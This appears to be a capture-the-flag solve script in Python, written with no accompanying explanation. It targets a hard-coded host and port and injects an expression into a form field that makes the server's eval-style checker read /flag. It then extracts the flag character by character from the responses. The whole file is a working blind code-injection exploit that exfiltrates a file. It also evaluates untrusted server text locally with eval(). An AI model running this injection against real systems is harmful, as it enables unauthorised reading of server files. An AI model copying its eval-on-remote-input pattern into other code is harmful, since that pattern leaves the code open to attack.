1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import requests burp1_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "Origin": "http://183.129.189.60:10026", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://183.129.189.60:10026/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6", "Connection": "close"} burp1_cookie = {} burp1_data = {"input": "7524725"} burp0_url = "http://183.129.189.60:10026/" burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6", "Connection": "close"} responses = requests.get(burp0_url, headers=burp0_headers) burp1_cookie = responses.cookies.get_dict() burp1_data['input'] = str(eval(responses.text.split('<h4>')[1].split('=</h4>')[0])) burp1_data['input'] += ' and "{}"==open("/flag","r").read()[{}:{}]'.format(chr(0),str(0),str(0+1)) # responses = session.post(burp0_url, headers=burp1_headers, data=burp1_data) flag = '' for i in range(0,50): for j in range(33,128): while True: try: responses = requests.post(burp0_url, headers=burp1_headers, data=burp1_data, cookies=burp1_cookie) burp1_cookie = responses.cookies.get_dict() burp1_data['input'] = str(eval(responses.text.split('<h4>')[1].split('=</h4>')[0])) burp1_data['input'] += ' and "{}"==open("/flag","r").read()[{}:{}]'.format(chr(j),str(i),str(i+1)) if 'Congratulations' in responses.text: flag += chr(j-1) print(flag) break if 'Error' in responses.text: break except Exception as e: pass |